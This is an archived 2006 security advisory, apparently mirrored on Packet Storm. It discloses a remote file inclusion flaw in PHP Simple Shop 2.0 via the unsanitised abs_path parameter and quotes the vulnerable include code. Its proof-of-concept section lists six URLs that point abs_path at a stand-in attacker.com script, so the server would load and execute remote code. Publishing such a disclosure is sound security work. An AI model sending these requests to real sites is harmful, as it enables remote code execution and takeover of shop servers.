what you don't know can hurt you

Echo Security Advisory 2006.44

Echo Security Advisory 2006.44
Posted Aug 18, 2006
Authored by Echo Security, M.Hasran Addahroni | Site advisories.echo.or.id

PHP Simple Shop versions 2.0 and below suffer from a remote file inclusion vulnerability.

tags | exploit, remote, php, file inclusion
MD5 | 538ae49fb182005be7480ad6853ec0c0

Echo Security Advisory 2006.44

Change Mirror Download
ECHO_ADV_44$2006

------------------------------------------------------------------------------
[ECHO_ADV_44$2006] PHP Simple Shop <= 2.0 (abs_path) Remote File Inclusion
------------------------------------------------------------------------------

Author : Ahmad Maulana a.k.a Matdhule
Date Found : August, 07th 2006
Location : Indonesia, Jakarta
web : http://advisories.echo.or.id/adv/adv44-matdhule-2006.txt
Critical Lvl : Highly critical
Impact : System access
Where : From Remote
---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~
PHP Simple Shop

Application : PHP Simple Shop
version : Latest version [2.0]
URL : http://www.turnkeywebtools.com/phpsimpleshop

---------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~~~~~

In folder admin we found vulnerability script index.php
---------------------------index.php---------------------------------------
....
<?PHP
/*
index.php - $DATE$ - $TIME$ - $VERSION$

PHP Simple Shop
http://www.turnkeywebtools.com/phpsimpleshop/

Copyright (c) 2001-2005 Turnkey Web Tools, Inc.
*/

if (isset($abs_path) && $abs_path != "") {
include $abs_path."admin/adminglobal.php";
} else {
include "./adminglobal.php";
}
...
----------------------------------------------------------

Input passed to the "abs_path" parameter in index.php is not
properly verified before being used. This can be exploited to execute
arbitrary PHP code by including files from local or external
resources.

Also affected files :

adminindex.php
adminglobal.php
login.php
menu.php
header.php

Proof Of Concept:
~~~~~~~~~~~~~~~

http://target.com/[phpsimpleshop_path]/admin/index.php?abs_path=http://attacker.com/inject.txt?
http://target.com/[phpsimpleshop_path]/admin/adminindex.php?abs_path=http://attacker.com/inject.txt?
http://target.com/[phpsimpleshop_path]/admin/adminglobal.php?abs_path=http://attacker.com/inject.txt?
http://target.com/[phpsimpleshop_path]/admin/login.php?abs_path=http://attacker.com/inject.txt?
http://target.com/[phpsimpleshop_path]/admin/menu.php?abs_path=http://attacker.com/inject.txt?
http://target.com/[phpsimpleshop_path]/admin/header.php?abs_path=http://attacker.com/inject.txt?

Solution:
~~~~~~~
- Sanitize variable $abs_path on affected files.

Notification:
~~~~~~~~~~

I've been contacting the web/software administrator to tell about this hole in his system,
but instead of giving a nice response, he replied so rudely and arrogantly.
I recommend not to use this product for your own sake.

---------------------------------------------------------------------------
Shoutz:
~~~
~ solpot a.k.a chris, J4mbi H4ck3r thx for the hacking lesson :)
~ y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,anonymous
~ bius, lapets, ghoz, t4mbun_hacker, NpR, h4ntu, thama
~ newbie_hacker@yahoogroups.com, jasakom_perjuangan@yahoogroups.com
~ Solpotcrew Comunity , #jambihackerlink #e-c-h-o @irc.dal.net
------------------------------------------------------------------------
---
Contact:
~~~~

matdhule[at]gmail[dot]com

-------------------------------- [ EOF ]----------------------------------
Login or Register to add favorites

File Archive:

September 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    20 Files
  • 2
    Sep 2nd
    15 Files
  • 3
    Sep 3rd
    15 Files
  • 4
    Sep 4th
    4 Files
  • 5
    Sep 5th
    1 Files
  • 6
    Sep 6th
    1 Files
  • 7
    Sep 7th
    15 Files
  • 8
    Sep 8th
    27 Files
  • 9
    Sep 9th
    7 Files
  • 10
    Sep 10th
    16 Files
  • 11
    Sep 11th
    9 Files
  • 12
    Sep 12th
    0 Files
  • 13
    Sep 13th
    0 Files
  • 14
    Sep 14th
    25 Files
  • 15
    Sep 15th
    15 Files
  • 16
    Sep 16th
    15 Files
  • 17
    Sep 17th
    15 Files
  • 18
    Sep 18th
    12 Files
  • 19
    Sep 19th
    0 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close